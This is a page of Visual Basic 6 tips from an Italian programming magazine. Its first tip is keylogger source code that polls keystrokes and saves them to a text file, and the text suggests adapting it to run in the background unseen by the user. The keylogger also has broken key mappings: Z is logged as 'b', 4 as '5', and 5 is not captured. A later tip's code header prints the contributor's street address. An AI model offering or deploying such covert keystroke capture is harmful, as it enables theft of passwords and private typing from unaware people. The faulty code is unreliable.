Tips&Tricks I trucchi del mestiere

 

Come salvare in un file di testo qualunque tasto digitato in Windows


Un utile tip per monitorare costantemente le "mosse" dell'utilizzatore del PC. Grazie a questo semplice ma funzionale codice, Φ possibile realizzare applicazioni in grado di monitorare e salvare in un file di testo tutti caratteri digitati sulla tastiera del proprio PC; con qualche ritocco l'applicazione pu≥ essere adattata per lavorare in background ed in modo trasparente all'utente.
Nell'esempio si fa uso di un controllo Timer (Timer1) posto sul form principale del progetto.
Tip fornito dal sig. A.Morelli
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Dim Tasto_Digitato As Long
Dim text2 As String

Private Sub Timer1_Timer()
      Tasto_Digitato = GetAsyncKeyState(vbKeyA)
      If Tasto_Digitato = -32767 Then text2 = text2 & "a"
      Tasto_Digitato = GetAsyncKeyState(vbKeyB)
      If Tasto_Digitato = -32767 Then text2 = text2 & "b"
      Tasto_Digitato = GetAsyncKeyState(vbKeyC)
      If Tasto_Digitato = -32767 Then text2 = text2 & "c"
      Tasto_Digitato = GetAsyncKeyState(vbKeyD)
      If Tasto_Digitato = -32767 Then text2 = text2 & "d"
      Tasto_Digitato = GetAsyncKeyState(vbKeyE)
      If Tasto_Digitato = -32767 Then text2 = text2 & "e"
      Tasto_Digitato = GetAsyncKeyState(vbKeyF)
      If Tasto_Digitato = -32767 Then text2 = text2 & "f"
      Tasto_Digitato = GetAsyncKeyState(vbKeyG)
      If Tasto_Digitato = -32767 Then text2 = text2 & "g"
      Tasto_Digitato = GetAsyncKeyState(vbKeyH)
      If Tasto_Digitato = -32767 Then text2 = text2 & "h"
      Tasto_Digitato = GetAsyncKeyState(vbKeyI)
      If Tasto_Digitato = -32767 Then text2 = text2 & "i"
      Tasto_Digitato = GetAsyncKeyState(vbKeyJ)
      If Tasto_Digitato = -32767 Then text2 = text2 & "j"
      Tasto_Digitato = GetAsyncKeyState(vbKeyK)
      If Tasto_Digitato = -32767 Then text2 = text2 & "k"
      Tasto_Digitato = GetAsyncKeyState(vbKeyL)
      If Tasto_Digitato = -32767 Then text2 = text2 & "l"
      Tasto_Digitato = GetAsyncKeyState(vbKeyM)
      If Tasto_Digitato = -32767 Then text2 = text2 & "m"
      Tasto_Digitato = GetAsyncKeyState(vbKeyN)
      If Tasto_Digitato = -32767 Then text2 = text2 & "n"
      Tasto_Digitato = GetAsyncKeyState(vbKeyO)
      If Tasto_Digitato = -32767 Then text2 = text2 & "o"
      Tasto_Digitato = GetAsyncKeyState(vbKeyP)
      If Tasto_Digitato = -32767 Then text2 = text2 & "p"
      Tasto_Digitato = GetAsyncKeyState(vbKeyQ)
      If Tasto_Digitato = -32767 Then text2 = text2 & "q"
      Tasto_Digitato = GetAsyncKeyState(vbKeyR)
      If Tasto_Digitato = -32767 Then text2 = text2 & "r"
      Tasto_Digitato = GetAsyncKeyState(vbKeyS)
      If Tasto_Digitato = -32767 Then text2 = text2 & "s"
      Tasto_Digitato = GetAsyncKeyState(vbKeyT)
      If Tasto_Digitato = -32767 Then text2 = text2 & "t"
      Tasto_Digitato = GetAsyncKeyState(vbKeyU)
      If Tasto_Digitato = -32767 Then text2 = text2 & "u"
      Tasto_Digitato = GetAsyncKeyState(vbKeyV)
      If Tasto_Digitato = -32767 Then text2 = text2 & "v"
      Tasto_Digitato = GetAsyncKeyState(vbKeyW)
      If Tasto_Digitato = -32767 Then text2 = text2 & "w"
      Tasto_Digitato = GetAsyncKeyState(vbKeyX)
      If Tasto_Digitato = -32767 Then text2 = text2 & "x"
      Tasto_Digitato = GetAsyncKeyState(vbKeyY)
      If Tasto_Digitato = -32767 Then text2 = text2 & "y"
      Tasto_Digitato = GetAsyncKeyState(vbKeyZ)
      If Tasto_Digitato = -32767 Then text2 = text2 & "b"
      Tasto_Digitato = GetAsyncKeyState(vbKey1)
      If Tasto_Digitato = -32767 Then text2 = text2 & "1"
      Tasto_Digitato = GetAsyncKeyState(vbKey2)
      If Tasto_Digitato = -32767 Then text2 = text2 & "2"
      Tasto_Digitato = GetAsyncKeyState(vbKey3)
      If Tasto_Digitato = -32767 Then text2 = text2 & "3"
      Tasto_Digitato = GetAsyncKeyState(vbKey4)
      If Tasto_Digitato = -32767 Then text2 = text2 & "5"
      Tasto_Digitato = GetAsyncKeyState(vbKey6)
      If Tasto_Digitato = -32767 Then text2 = text2 & "6"
      Tasto_Digitato = GetAsyncKeyState(vbKey7)
      If Tasto_Digitato = -32767 Then text2 = text2 & "7"
      Tasto_Digitato = GetAsyncKeyState(vbKey8)
      If Tasto_Digitato = -32767 Then text2 = text2 & "8"
      Tasto_Digitato = GetAsyncKeyState(vbKey9)
      If Tasto_Digitato = -32767 Then text2 = text2 & "9"
      Tasto_Digitato = GetAsyncKeyState(vbKey0)
      If Tasto_Digitato = -32767 Then text2 = text2 & "0"
                  
      Tasto_Digitato = GetAsyncKeyState(vbKeySpace)
      If Tasto_Digitato = -32767 Then text2 = text2 & " "
            Tasto_Digitato = GetAsyncKeyState(vbKeyReturn)
      If Tasto_Digitato = -32767 Then text2 = text2 & vbCr
      Tasto_Digitato = GetAsyncKeyState(vbKeyBack)
      If Tasto_Digitato = -32767 Then text2 = Mid(text2, 1, Len(text2) - 1)
      
    Scrivi_Su_File (text2)
    Tasto_Digitato = 0
End Sub

Function Scrivi_Su_File(Carattere As String)
   Const TristateUseDefault = -2, TristateTrue = -1, TristateFalse = 0
   Dim fso, f, ts
   Set fso = CreateObject("Scripting.FileSystemObject")
   ' Creazione del file.
   fso.CreateTextFile "c:\MappaCaratteri.txt"
   Set f = fso.GetFile("c:\MappaCaratteri.txt")
   Set ts = f.OpenAsTextStream(2, TristateUseDefault)
   ts.Write Carattere
   ts.Close
End Function

Un controllo ListView "colorato"

Spesso il controllo ListiView viene utilizzato per creare dei report (entrate, uscite, saldi, prezzi), nasce pertanto l'esigenza di visualizzare le righe in cui sono presenti questi dati con un determinato colore di sfondo. L'applicazione proposta consente di ottenere questa funzionalitα ricorrendo a tecniche di subclassing. Trovate l'applicazione completa su: www.itportal.it/ioProg70/Tips o sul supporto CD-Rom allegato alla rivista \Tips Tip fornito dal sig. P.Libro


Form in trasparenza


Il tip proposto illustra come impostare la trasparenza di un form in Visual Basic 6 attraverso alcune chiamate API, in particolare il progetto mostra come materializzare un form aumentando di volta in volta il grado di opacità dello stesso.
Tip fornito dal sig. E.Di Santo

' Window Transparency ;)
' by    Emanuele Di Santo
' Via:  Fabio Rulliano 19
' Cap:  00175 ROMA
'-------------------------
' Nell'esempio si presuppone che sul FrmMain sia posto un controllo Timer denominato Timer1
Option Explicit

'Api..
Private Declare Function SetLayeredWindowAttributes Lib "user32.dll" (ByVal hwnd As Long, ByVal crKey As Long, ByVal bAlpha As Byte, ByVal dwFlags As Long) As Boolean
Private Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
Private Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long) As Long

'Constanti
Const LWA_ALPHA = 2
Const GWL_EXSTYLE = (-20)
Const WS_EX_LAYERED = &H80000


'Variabli
Public bytTransparency As Byte  'Trasparenza form
Public bIsFormLoaded As Boolean
'

Private Sub Form_Click()
bIsFormLoaded = False
Timer1.Enabled = True
End Sub

Private Sub Form_Load()
SetWindowLong hwnd, GWL_EXSTYLE, GetWindowLong(hwnd, GWL_EXSTYLE) Or WS_EX_LAYERED
bytTransparency = 0
bIsFormLoaded = True
End Sub

Private Sub Timer1_Timer()

If bIsFormLoaded = True Then

    If bytTransparency >= 252 Then Timer1.Enabled = False
    bytTransparency = bytTransparency + 3
    SetLayeredWindowAttributes hwnd, 0, bytTransparency, LWA_ALPHA

Else

    If bytTransparency = 3 Then Timer1.Enabled = False: End
    bytTransparency = bytTransparency - 3
    SetLayeredWindowAttributes hwnd, 0, bytTransparency, LWA_ALPHA

End If

End Sub